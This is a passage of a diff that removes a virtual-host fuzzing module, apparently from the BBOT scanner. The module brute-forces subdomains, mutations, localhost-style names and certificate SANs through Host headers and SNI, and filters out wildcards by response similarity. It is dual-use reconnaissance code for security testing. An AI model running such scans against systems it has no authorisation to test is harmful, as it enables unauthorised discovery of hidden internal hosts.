"HTTP_RESPONSE"] - flags = ["active", "aggressive", "slow", "deadly"] - meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} - - def _format_headers(self, headers): - """ - Convert list headers back to strings for HTTP_RESPONSE compatibility. - The curl helper converts multiple headers with same name to lists, - but HTTP_RESPONSE events expect them as comma-separated strings. - """ - formatted_headers = {} - for key, value in headers.items(): - if isinstance(value, list): - # Convert list back to comma-separated string - formatted_headers[key] = ", ".join(str(v) for v in value) - else: - formatted_headers[key] = value - return formatted_headers - - deps_common = ["curl"] - - SIMILARITY_THRESHOLD = 0.8 - CANARY_LENGTH = 12 - MAX_RESULTS_FLOOD_PROTECTION = 50 - - special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] - options = { - "brute_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", - "force_basehost": "", - "brute_lines": 2000, - "subdomain_brute": True, - "mutation_check": True, - "special_hosts": False, - "certificate_sans": False, - "max_concurrent_requests": 80, - "require_inaccessible": True, - "wordcloud_check": False, - "report_interesting_default_content": True, - } - options_desc = { - "brute_wordlist": "Wordlist containing subdomains", - "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", - "brute_lines": "take only the first N lines from the wordlist when finding directories", - "subdomain_brute": "Enable subdomain brute-force on target host", - "mutation_check": "Enable trying mutations of the target host", - "special_hosts": "Enable testing of special virtual host list (localhost, etc.)", - "certificate_sans": "Enable extraction and testing of Subject Alternative Names from certificates", - "wordcloud_check": "Enable check using scan-wide wordcloud data on target host", - "max_concurrent_requests": "Maximum number of concurrent virtual host requests", - "require_inaccessible": "Only test virtual hosts that are not directly accessible (for discovering hidden content)", - "report_interesting_default_content": "Report interesting default content", - } - - in_scope_only = True - - virtualhost_ignore_strings = [ - "We weren't able to find your Azure Front Door Service", - "The http request header is incorrect.", - ] - - async def setup(self): - self.max_concurrent = self.config.get("max_concurrent_requests", 80) - self.scanned_hosts = {} - self.wordcloud_tried_hosts = set() - self.brute_wordlist = await self.helpers.wordlist( - self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000) - ) - self.similarity_cache = {} # Cache for similarity results - - self.waf_strings = self.helpers.get_waf_strings() + self.virtualhost_ignore_strings - - return True - - def _get_basehost(self, event): - """Get the basehost and subdomain from the event""" - basehost = self.helpers.parent_domain(event.parsed_url.hostname) - if not basehost: - raise ValueError(f"No parent domain found for {event.parsed_url.hostname}") - subdomain = event.parsed_url.hostname.removesuffix(basehost).rstrip(".") - return basehost, subdomain - - async def _get_baseline_response(self, event, normalized_url, host_ip): - """Get baseline response for a host using the appropriate method (HTTPS SNI or HTTP Host header)""" - is_https = event.parsed_url.scheme == "https" - host = event.parsed_url.netloc - - if is_https: - port = event.parsed_url.port or 443 - baseline_response = await self.helpers.web.curl( - url=f"https://{host}:{port}/", - resolve={"host": host, "port": port, "ip": host_ip}, - ) - else: - baseline_response = await self.helpers.web.curl( - url=normalized_url, - headers={"Host": host}, - resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, - ) - - return baseline_response - - async def handle_event(self, event): - if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): - scheme = event.parsed_url.scheme - host = event.parsed_url.netloc - normalized_url = f"{scheme}://{host}" - - # since we normalize the URL to the host level, - if normalized_url in self.scanned_hosts: - return - - self.scanned_hosts[normalized_url] = event - - if self.config.get("force_basehost"): - basehost = self.config.get("force_basehost") - subdomain = "" - else: - basehost, subdomain = self._get_basehost(event) - - is_https = event.parsed_url.scheme == "https" - - host_ip = next(iter(event.resolved_hosts)) - try: - baseline_response = await self._get_baseline_response(event, normalized_url, host_ip) - except CurlError as e: - self.warning(f"Failed to get baseline response for {normalized_url}: {e}") - return None - - if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response): - self.verbose( - f"WILDCARD CHECK FAILED in handle_event: Skipping {normalized_url} - failed virtual host wildcard check" - ) - return None - else: - self.verbose(f"WILDCARD CHECK PASSED in handle_event: Proceeding with {normalized_url}") - - # Phase 1: Main virtual host bruteforce - if self.config.get("subdomain_brute", True): - self.verbose(f"=== Starting subdomain brute-force on {normalized_url} ===") - await self._run_virtualhost_phase( - "Target host Subdomain Brute-force", - normalized_url, - basehost, - host_ip, - is_https, - event, - "subdomain", - ) - - # only run mutations if there is an actual subdomain (to mutate) - if subdomain: - # Phase 2: Check existing host for mutations - if self.config.get("mutation_check", True): - self.verbose(f"=== Starting mutations check on {normalized_url} ===") - await self._run_virtualhost_phase( - "Mutations on target host", - normalized_url, - basehost, - host_ip, - is_https, - event, - "mutation", - wordlist=self.mutations_check(subdomain), - ) - - # Phase 3: Special virtual host list - if self.config.get("special_hosts", True): - self.verbose(f"=== Starting special virtual hosts check on {normalized_url} ===") - await self._run_virtualhost_phase( - "Special virtual host list", - normalized_url, - "", - host_ip, - is_https, - event, - "random", - wordlist=self.helpers.tempfile(self.special_virtualhost_list, pipe=False), - skip_dns_host=True, - ) - - # Phase 4: Obtain subject alternate names from certicate and analyze them - if self.config.get("certificate_sans", True): - self.verbose(f"=== Starting certificate SAN analysis on {normalized_url} ===") - if is_https: - subject_alternate_names = await self._analyze_subject_alternate_names(event.data) - if subject_alternate_names: - self.debug( - f"Found {len(subject_alternate_names)} Subject Alternative Names from certificate: {subject_alternate_names}" - ) - - # Use SANs as potential virtual hosts for testing - san_wordlist = self.helpers.tempfile(subject_alternate_names, pipe=False) - await self._run_virtualhost_phase( - "Certificate Subject Alternate Name", - normalized_url, - "", - host_ip, - is_https, - event, - "random", - wordlist=san_wordlist, - skip_dns_host=True, - ) - - async def _analyze_subject_alternate_names(self, url): - """Analyze subject alternate names from certificate""" - from OpenSSL import crypto - from bbot.modules.sslcert import sslcert - - parsed = urlparse(url) - host = parsed.netloc - - response = await self.helpers.web.curl(url=url) - if not response or not response.get("certs"): - self.debug(f"No certificate data available for {url}") - return [] - - cert_output = response["certs"] - subject_alt_names = [] - - try: - cert_lines = cert_output.split("\n") - pem_lines = [] - in_cert = False - - for line in cert_lines: - if "-----BEGIN CERTIFICATE-----" in line: - in_cert = True - pem_lines.append(line) - elif "-----END CERTIFICATE-----" in line: - pem_lines.append(line) - break - elif in_cert: - pem_lines.append(line) - - if pem_lines: - cert_pem = "\n".join(pem_lines) - cert = crypto.load_certificate(crypto.FILETYPE_PEM, cert_pem) - - # Use the existing SAN extraction method from sslcert module - sans = sslcert.get_cert_sans(cert) - - for san in sans: - self.debug(f"Found SAN: {san}") - if san != host and san not in subject_alt_names: - subject_alt_names.append(san) - else: - self.debug("No valid PEM certificate found in response") - - except Exception as e: - self.warning(f"Error parsing certificate for {url}: {e}") - - self.debug( - f"Found {len(subject_alt_names)} Subject Alternative Names: {subject_alt_names} (besides original target host {host})" - ) - return subject_alt_names - - async def _report_interesting_default_content(self, event, canary_hostname, host_ip, canary_response): - discovery_method = "Interesting Default Content (from intentionally-incorrect canary host)" - # Build URL with explicit authority to avoid double-port issues - authority = ( - f"{event.parsed_url.hostname}:{event.parsed_url.port}" - if event.parsed_url.port is not None - else event.parsed_url.hostname - ) - # Use the explicit canary hostname used in the wildcard request (works for HTTP Host and HTTPS SNI) - canary_host = (canary_hostname or "").split(":")[0] - virtualhost_dict = { - "host": str(event.host), - "url": f"{event.parsed_url.scheme}://{authority}/", - "virtual_host": canary_host, - "description": self._build_description(discovery_method, canary_response, True, host_ip), - "ip": host_ip, - } - - await self.emit_event( - virtualhost_dict, - "VIRTUAL_HOST", - parent=event, - tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", - ) - - # Emit HTTP_RESPONSE event with the canary response data - # Format to match what badsecrets expects - headers = canary_response.get("headers", {}) - headers = self._format_headers(headers) - - # Get the scheme from the actual probe URL - probe_url = canary_response.get("url", "") - from urllib.parse import urlparse - - parsed_probe_url = urlparse(probe_url) - actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http" - - http_response_data = { - "input": canary_host, - "url": f"{actual_scheme}://{canary_host}/", - "method": "GET", - "status_code": canary_response.get("http_code", 0), - "content_length": len(canary_response.get("response_data", "")), - "body": canary_response.get("response_data", ""), # badsecrets expects 'body' - "response_data": canary_response.get("response_data", ""), # keep for compatibility - "header": headers, - "raw_header": canary_response.get("raw_headers", ""), - } - - # Include location header for redirect handling - if "location" in headers: - http_response_data["location"] = headers["location"] - - http_response_event = await self.emit_event( - http_response_data, - "HTTP_RESPONSE", - parent=event, - tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", - ) - # Set scope distance to match parent's scope distance for HTTP_RESPONSE events - if http_response_event: - http_response_event.scope_distance = event.scope_distance - - def _get_canary_random_host(self, host, basehost, mode="subdomain"): - """Generate a random host for the canary""" - # Seed RNG with domain to get consistent canary hosts for same domain - random.seed(host) - - # Generate canary hostname based on mode - if mode == "mutation": - # Prepend random 4-character string with dash to existing hostname - random_prefix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) - canary_host = f"{random_prefix}-{host}" - elif mode == "subdomain": - # Default subdomain mode - add random subdomain - canary_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + basehost - elif mode == "random_append": - # Append random string to existing hostname (first domain level) - random_suffix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) - canary_host = f"{host.split('.')[0]}{random_suffix}.{'.'.join(host.split('.')[1:])}" - elif mode == "random": - # Fully random hostname with .com TLD - random_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) - canary_host = f"{random_host}.com" - else: - raise ValueError(f"Invalid canary mode: {mode}") - - return canary_host - - async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https, mode="subdomain"): - """Setup canary response for comparison using the appropriate technique. Returns canary response or None on failure.""" - - parsed = urlparse(normalized_url) - # Use hostname without port to avoid duplicating port in canary host - host = parsed.hostname or (parsed.netloc.split(":")[0] if ":" in parsed.netloc else parsed.netloc) - - # Seed RNG with domain to get consistent canary hosts for same domain - canary_host = self._get_canary_random_host(host, basehost, mode) - - # Get canary response - if is_https: - port = parsed.port or 443 - canary_response = await self.helpers.web.curl( - url=f"https://{canary_host}:{port}/", - resolve={"host": canary_host, "port": port, "ip": host_ip}, - ) - else: - http_port = parsed.port or 80 - canary_response = await self.helpers.web.curl( - url=normalized_url, - headers={"Host": canary_host}, - resolve={"host": parsed.hostname, "port": http_port, "ip": host_ip}, - ) - - return canary_response - - async def _is_host_accessible(self, url): - """ - Check if a URL is already accessible via direct HTTP request. - Returns True if the host is accessible (and should be skipped), False otherwise. - """ - try: - response = await self.helpers.web.curl(url=url) - if response and int(response.get("http_code", 0)) > 0: - return True - else: - return False - except CurlError as e: - self.debug(f"Error checking accessibility of {url}: {e}") - return False - - async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, probe_response): - """Change one char in probe_host and test - if responses are similar, it's probably a wildcard""" - - # Extract hostname and port separately to avoid corrupting the port portion - original_hostname = event.parsed_url.hostname or "" - original_port = event.parsed_url.port - - # Try to mutate the first alphabetic character in the hostname - modified_hostname = None - for i, char in enumerate(original_hostname): - if char.isalpha(): - new_char = "z" if char != "z" else "a" - modified_hostname = original_hostname[:i] + new_char + original_hostname[i + 1 :] - break - - if modified_hostname is None: - # Fallback: generate random hostname of similar length (hostname-only) - modified_hostname = "".join( - random.choice(string.ascii_lowercase) for _ in range(len(original_hostname) or 12) - ) - - # Build modified host strings for each protocol - https_modified_host_for_sni = modified_hostname - http_modified_host_for_header = f"{modified_hostname}:{original_port}" if original_port else modified_hostname - - # Test modified host - if probe_scheme == "https": - port = event.parsed_url.port or 443 - # Log the canary URL for the wildcard SNI test - self.debug( - f"CANARY URL: https://{https_modified_host_for_sni}:{port}/ [phase=wildcard-check, mode=single-char-mutation]" - ) - wildcard_canary_response = await self.helpers.web.curl( - url=f"https://{https_modified_host_for_sni}:{port}/", - resolve={"host": https_modified_host_for_sni, "port": port, "ip": host_ip}, - ) - else: - # Log the canary URL for the wildcard Host header test - http_port = event.parsed_url.port or 80 - self.debug( - f"CANARY URL: {probe_scheme}://{http_modified_host_for_header if ':' in http_modified_host_for_header else f'{http_modified_host_for_header}:{http_port}'}/ [phase=wildcard-check, mode=single-char-mutation]" - ) - wildcard_canary_response = await self.helpers.web.curl( - url=f"{probe_scheme}://{event.parsed_url.netloc}/", - headers={"Host": http_modified_host_for_header}, - resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, - ) - - if not wildcard_canary_response or wildcard_canary_response["http_code"] == 0: - self.debug( - f"Wildcard check: {http_modified_host_for_header} failed to respond, assuming {probe_host} is valid" - ) - return True # Modified failed, original probably valid - - # If HTTP status codes differ, consider this a pass (not wildcard) - if probe_response.get("http_code") != wildcard_canary_response.get("http_code"): - self.debug( - f"WILDCARD CHECK OK (status mismatch): {probe_host} ({probe_response.get('http_code')}) vs {http_modified_host_for_header} ({wildcard_canary_response.get('http_code')})" - ) - if ( - self.config.get("report_interesting_default_content", True) - and wildcard_canary_response.get("http_code") == 200 - and len(wildcard_canary_response.get("response_data", "")) > 40 - ): - canary_hostname = ( - https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header - ) - await self._report_interesting_default_content( - event, canary_hostname, host_ip, wildcard_canary_response - ) - return True - - probe_simhash = await self.helpers.run_in_executor_mp(compute_simhash, probe_response["response_data"]) - wildcard_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, wildcard_canary_response["response_data"] - ) - similarity = self.helpers.simhash.similarity(probe_simhash, wildcard_simhash) - - # Compare original probe response with modified response - - result = similarity <= self.SIMILARITY_THRESHOLD - - if not result: - self.debug( - f"WILDCARD DETECTED: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> FAIL (wildcard detected)" - ) - else: - self.debug( - f"WILDCARD CHECK OK: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> PASS (not wildcard)" - ) - if ( - self.config.get("report_interesting_default_content", True) - and wildcard_canary_response.get("http_code") == 200 - and len(wildcard_canary_response.get("response_data", "")) > 40 - ): - canary_hostname = ( - https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header - ) - await self._report_interesting_default_content( - event, canary_hostname, host_ip, wildcard_canary_response - ) - - return result # True if they're different (good), False if similar (wildcard) - - async def _run_virtualhost_phase( - self, - discovery_method, - normalized_url, - basehost, - host_ip, - is_https, - event, - canary_mode, - wordlist=None, - skip_dns_host=False, - ): - """Helper method to run a virtual host discovery phase and optionally mutations""" - - canary_response = await self._get_canary_response( - normalized_url, basehost, host_ip, is_https, mode=canary_mode - ) - - if not canary_response: - self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") - return [] - - results = await self.curl_virtualhost( - discovery_method, - normalized_url, - basehost, - event, - canary_response, - canary_mode, - wordlist, - skip_dns_host, - ) - - # Emit all valid results - for virtual_host_data in results: - # Emit VIRTUAL_HOST event - await self.emit_event( - virtual_host_data["virtualhost_dict"], - "VIRTUAL_HOST", - parent=event, - tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']} (similarity: {virtual_host_data['similarity']:.2%})", - ) - - # Emit HTTP_RESPONSE event with the probe response data - # Format to match what badsecrets expects - headers = virtual_host_data["probe_response"].get("headers", {}) - headers = self._format_headers(headers) - - # Get the scheme from the actual probe URL - probe_url = virtual_host_data["probe_response"].get("url", "") - from urllib.parse import urlparse - - parsed_probe_url = urlparse(probe_url) - actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http" - - http_response_data = { - "input": virtual_host_data["probe_host"], - "url": f"{actual_scheme}://{virtual_host_data['probe_host']}/", # Use the actual virtual host URL with correct scheme - "method": "GET", - "status_code": virtual_host_data["probe_response"].get("http_code", 0), - "content_length": len(virtual_host_data["probe_response"].get("response_data", "")), - "body": virtual_host_data["probe_response"].get("response_data", ""), # badsecrets expects 'body' - "response_data": virtual_host_data["probe_response"].get( - "response_data", "" - ), # keep for compatibility - "header": headers, - "raw_header": virtual_host_data["probe_response"].get("raw_headers", ""), - } - - # Include location header for redirect handling - if "location" in headers: - http_response_data["location"] = headers["location"] - - http_response_event = await self.emit_event( - http_response_data, - "HTTP_RESPONSE", - parent=event, - tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']}", - ) - # Set scope distance to match parent's scope distance for HTTP_RESPONSE events - if http_response_event: - http_response_event.scope_distance = event.scope_distance - - # Emit DNS_NAME_UNVERIFIED event if needed - if virtual_host_data["skip_dns_host"] is False: - await self.emit_event( - virtual_host_data["virtualhost_dict"]["virtual_host"], - "DNS_NAME_UNVERIFIED", - parent=event, - tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {{event.data}}", - ) - - async def curl_virtualhost( - self, - discovery_method, - normalized_url, - basehost, - event, - canary_response, - canary_mode, - wordlist=None, - skip_dns_host=False, - ): - if wordlist is None: - wordlist = self.brute_wordlist - - # Get baseline host for comparison and determine scheme from event - baseline_host = event.parsed_url.netloc - - # Collect all words for concurrent processing - candidates_to_check = [] - for word in self.helpers.read_file(wordlist): - word = word.strip() - if not word: - continue - - # Construct virtual host header - if basehost: - # Wordlist entries are subdomain prefixes - append basehost - probe_host = f"{word}.{basehost}" - - else: - # No basehost - use as-is - probe_host = word - - # Skip if this would be the same as the original host - if probe_host == baseline_host: - continue - - candidates_to_check.append(probe_host) - - self.debug(f"Loaded {len(candidates_to_check)} candidates from wordlist for {discovery_method}") - - host_ips = event.resolved_hosts - total_tests = len(candidates_to_check) * len(host_ips) - - self.verbose( - f"Initiating {total_tests} virtual host tests ({len(candidates_to_check)} candidates × {len(host_ips)} IPs) with max {self.max_concurrent} concurrent requests" - ) - - # Collect all virtual host results before emitting - virtual_host_results = [] - - # Process results as they complete with concurrency control - try: - # Build coroutines on-demand without wrapper - coroutines = ( - self._test_virtualhost( - normalized_url, - probe_host, - basehost, - event, - canary_response, - canary_mode, - skip_dns_host, - host_ip, - discovery_method, - ) - for host_ip in host_ips - for probe_host in candidates_to_check - ) - - async for completed in self.helpers.as_completed(coroutines, self.max_concurrent): - try: - result = await completed - except CurlError as e: - if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): - self.debug(f"CurlError during shutdown (suppressed): {e}") - break - self.debug(f"CurlError in virtualhost test (skipping this test): {e}") - continue - if result: # Only append non-None results - virtual_host_results.append(result) - self.debug( - f"ADDED RESULT {len(virtual_host_results)}: {result['probe_host']} (similarity: {result['similarity']:.3f}) [Status: {result['status_code']} | Size: {result['content_length']} bytes]" - ) - - # Early exit if we're clearly hitting false positives - if len(virtual_host_results) >= self.MAX_RESULTS_FLOOD_PROTECTION: - self.warning( - f"RESULT FLOOD DETECTED: found {len(virtual_host_results)} virtual hosts (limit: {self.MAX_RESULTS_FLOOD_PROTECTION}), likely false positives - stopping further tests and skipping reporting" - ) - break - - except CurlError as e: - if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): - self.debug(f"CurlError in as_completed during shutdown (suppressed): {e}") - return [] - self.warning(f"CurlError in as_completed, stopping all tests: {e}") - return [] - - # Return results for emission at _run_virtualhost_phase level - return virtual_host_results - - async def _test_virtualhost( - self, - normalized_url, - probe_host, - basehost, - event, - canary_response, - canary_mode, - skip_dns_host, - host_ip, - discovery_method, - ): - """ - Test a single virtual host candidate using HTTP Host header or HTTPS SNI - Returns virtual host data if detected, None otherwise - """ - is_https = event.parsed_url.scheme == "https" - - # Make request - different approach for HTTP vs HTTPS - if is_https: - port = event.parsed_url.port or 443 - probe_response = await self.helpers.web.curl( - url=f"https://{probe_host}:{port}/", - resolve={"host": probe_host, "port": port, "ip": host_ip}, - ) - else: - port = event.parsed_url.port or 80 - probe_response = await self.helpers.web.curl( - url=normalized_url, - headers={"Host": probe_host}, - resolve={"host": event.parsed_url.hostname, "port": port, "ip": host_ip}, - ) - - if not probe_response or probe_response["response_data"] == "": - protocol = "HTTPS" if is_https else "HTTP" - self.debug(f"{protocol} probe failed for {probe_host} on ip {host_ip} - no response or empty data") - return None - - similarity = await self.analyze_response(probe_host, probe_response, canary_response, event) - if similarity is None: - return None - - # Different from canary = possibly real virtual host, similar to canary = probably junk - if similarity > self.SIMILARITY_THRESHOLD: - self.debug( - f"REJECTING {probe_host}: similarity {similarity:.3f} > threshold {self.SIMILARITY_THRESHOLD} (too similar to canary)" - ) - return None - else: - self.verbose( - f"POTENTIAL VIRTUALHOST {probe_host} sim={similarity:.3f} " - f"probe: {probe_response.get('http_code', 'N/A')} | {len(probe_response.get('response_data', ''))}B | {probe_response.get('url', 'N/A')} ; " - f"canary: {canary_response.get('http_code', 'N/A')} | {len(canary_response.get('response_data', ''))}B | {canary_response.get('url', 'N/A')}" - ) - - # Re-verify canary consistency before emission - if not await self._verify_canary_consistency( - canary_response, canary_mode, normalized_url, is_https, basehost, host_ip - ): - self.verbose( - f"CANARY CHANGED: Rejecting {probe_host}. Original canary had code {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" - ) - raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") - # Canary is consistent, proceed - - probe_url = f"{event.parsed_url.scheme}://{probe_host}:{port}/" - - # Check for keyword-based virtual host wildcards - if not await self._verify_canary_keyword(probe_response, probe_url, is_https, basehost, host_ip): - return None - - # Don't emit if this would be the same as the original netloc - if probe_host == event.parsed_url.netloc: - self.verbose(f"Skipping emit for virtual host {probe_host} - is the same as the original netloc") - return None - - # Check if this virtual host is externally accessible - port = event.parsed_url.port or (443 if is_https else 80) - - is_externally_accessible = await self._is_host_accessible(probe_url) - - virtualhost_dict = { - "host": str(event.host), - "url": normalized_url, - "virtual_host": probe_host, - "description": self._build_description( - discovery_method, probe_response, is_externally_accessible, host_ip - ), - "ip": host_ip, - } - - # Skip if we require inaccessible hosts and this one is accessible - if self.config.get("require_inaccessible", True) and is_externally_accessible: - self.verbose( - f"Skipping emit for virtual host {probe_host} - is externally accessible and require_inaccessible is True" - ) - return None - - # Return data for emission at _run_virtualhost_phase level - technique = "SNI" if is_https else "Host header" - return { - "virtualhost_dict": virtualhost_dict, - "similarity": similarity, - "probe_host": probe_host, - "skip_dns_host": skip_dns_host, - "discovery_method": f"{discovery_method} ({technique})", - "status_code": probe_response.get("http_code", "N/A"), - "content_length": len(probe_response.get("response_data", "")), - "probe_response": probe_response, - } - - async def analyze_response(self, probe_host, probe_response, canary_response, event): - probe_status = probe_response["http_code"] - canary_status = canary_response["http_code"] - - # Check for invalid/no response - skip processing - if probe_status == 0 or not probe_response.get("response_data"): - self.debug(f"SKIPPING {probe_host} - no valid HTTP response (status: {probe_status})") - return None - - if probe_status == 400: - self.debug(f"SKIPPING {probe_host} - got 400 Bad Request") - return None - - # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist - if probe_status == 421: - self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)") - return None - - if probe_status == 502 or probe_status == 503: - self.debug(f"SKIPPING {probe_host} - got 502 or 503 Bad Gateway") - return None - - # Check for 403 Forbidden - signal that the virtual host is rejected (unless we started with a 403) - if probe_status == 403 and canary_status != 403: - self.debug(f"SKIPPING {probe_host} - got 403 Forbidden when canary status was {canary_status}") - return None - - if probe_status == 508: - self.debug(f"SKIPPING {probe_host} - got 508 Loop Detected") - return None - - # Check for redirects back to original domain - indicates virtual host just redirects to canonical - if probe_status in [301, 302]: - redirect_url = probe_response.get("redirect_url", "") - if redirect_url and str(event.parsed_url.netloc) in redirect_url: - self.debug(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}") - return None - - if any(waf_string in probe_response["response_data"] for waf_string in self.waf_strings): - self.debug(f"SKIPPING {probe_host} - got WAF response") - return None - - # Calculate content similarity to canary (junk response) - # Use probe hostname for normalization to remove hostname reflection differences - - probe_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, probe_response["response_data"], normalization_filter=probe_host - ) - canary_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, canary_response["response_data"], normalization_filter=probe_host - ) - - similarity = self.helpers.simhash.similarity(probe_simhash, canary_simhash) - - if similarity <= self.SIMILARITY_THRESHOLD: - self.verbose( - f"POTENTIAL MATCH: {probe_host} vs canary - similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}), probe status: {probe_status}, canary status: {canary_status}" - ) - - return similarity - - async def _verify_canary_keyword(self, original_response, probe_url, is_https, basehost, host_ip): - """Perform last-minute check on the canary for keyword-based virtual host wildcards""" - - try: - keyword_canary_response = await self._get_canary_response( - probe_url, basehost, host_ip, is_https, mode="random_append" - ) - except CurlError as e: - self.warning(f"Canary verification failed due to curl error: {e}") - return False - - if not keyword_canary_response: - return False - - # If we get the exact same content after altering the hostname, keyword based virtual host routing is likely being used - if keyword_canary_response["response_data"] == original_response["response_data"]: - self.verbose( - f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - response data is exactly the same" - ) - return False - - original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_response["response_data"]) - keyword_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, keyword_canary_response["response_data"] - ) - similarity = self.helpers.simhash.similarity(original_simhash, keyword_simhash) - - if similarity >= self.SIMILARITY_THRESHOLD: - self.verbose( - f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - similarity: {similarity:.3f} above threshold {self.SIMILARITY_THRESHOLD} - Original: {original_response.get('http_code', 'N/A')} ({len(original_response.get('response_data', ''))} bytes), Current: {keyword_canary_response.get('http_code', 'N/A')} ({len(keyword_canary_response.get('response_data', ''))} bytes)" - ) - return False - return True - - async def _verify_canary_consistency( - self, original_canary_response, canary_mode, normalized_url, is_https, basehost, host_ip - ): - """Perform last-minute check on the canary for consistency""" - - # Re-run the same canary test as we did initially - try: - consistency_canary_response = await self._get_canary_response( - normalized_url, basehost, host_ip, is_https, mode=canary_mode - ) - except CurlError as e: - self.warning(f"Canary verification failed due to curl error: {e}") - return False - - if not consistency_canary_response: - return False - - # Check if HTTP codes are different first (hard failure) - if original_canary_response["http_code"] != consistency_canary_response["http_code"]: - self.verbose( - f"CANARY HTTP CODE CHANGED for {normalized_url} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" - ) - return False - - # if response data is exactly the same, we're good - if original_canary_response["response_data"] == consistency_canary_response["response_data"]: - return True - - # Fallback - use similarity comparison for response data (allows slight differences) - original_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, original_canary_response["response_data"] - ) - consistency_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, consistency_canary_response["response_data"] - ) - similarity = self.helpers.simhash.similarity(original_simhash, consistency_simhash) - if similarity < self.SIMILARITY_THRESHOLD: - self.verbose( - f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" - ) - return False - return True - - def _extract_title(self, response_data): - """Extract title from HTML response""" - soup = self.helpers.beautifulsoup(response_data, "html.parser") - if soup and soup.title and soup.title.string: - return soup.title.string.strip() - return None - - def _build_description(self, discovery_string, probe_response, is_externally_accessible=None, host_ip=None): - """Build detailed description with discovery technique and content info""" - http_code = probe_response.get("http_code", "N/A") - response_size = len(probe_response.get("response_data", "")) - - description = f"Discovery Technique: [{discovery_string}], Discovered Content: [Status Code: {http_code}]" - - # Add title if available - title = self._extract_title(probe_response.get("response_data", "")) - if title: - description += f" [Title: {title}]" - description += f" [Size: {response_size} bytes]" - - # Add IP address if available - if host_ip: - description += f" [IP: {host_ip}]" - - # Add accessibility information if available - if is_externally_accessible is not None: - accessibility_status = "externally accessible" if is_externally_accessible else "not externally accessible" - description += f" [Access: {accessibility_status}]" - - return description - - def mutations_check(self, virtualhost): - mutations_list = [] - for mutation in self.helpers.word_cloud.mutations(virtualhost, cloud=False): - mutations_list.extend(["".join(mutation), "-".join(mutation)]) - mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False) - return mutations_list_file - - async def finish(self): - # phase 5: check existing hosts with wordcloud - self.verbose(" === Starting Finish() Wordcloud check === ") - if not self.config.get("wordcloud_check", False): - self.debug("FINISH METHOD: Wordcloud check is disabled, skipping finish phase") - return - - if not self.helpers.word_cloud.keys(): - self.verbose("FINISH METHOD: No wordcloud data available for finish phase") - return - - # Filter wordcloud words: no dots, reasonable length limit - all_wordcloud_words = list(self.helpers.word_cloud.keys()) - filtered_words = [] - for word in all_wordcloud_words: - # Filter out words with dots (likely full domains) - if "." in word: - continue - # Filter out very long words (likely noise) - if len(word) > 15: - continue - # Filter out very short words (likely noise) - if len(word) < 2: - continue - filtered_words.append(word) - - tempfile = self.helpers.tempfile(filtered_words, pipe=False) - self.debug( - f"FINISH METHOD: Starting wordcloud check on {len(self.scanned_hosts)} hosts using {len(filtered_words)} filtered words from wordcloud" - ) - - for host, event in self.scanned_hosts.items(): - if host not in self.wordcloud_tried_hosts: - host_parsed_url = urlparse(host) - - if self.config.get("force_basehost"): - basehost = 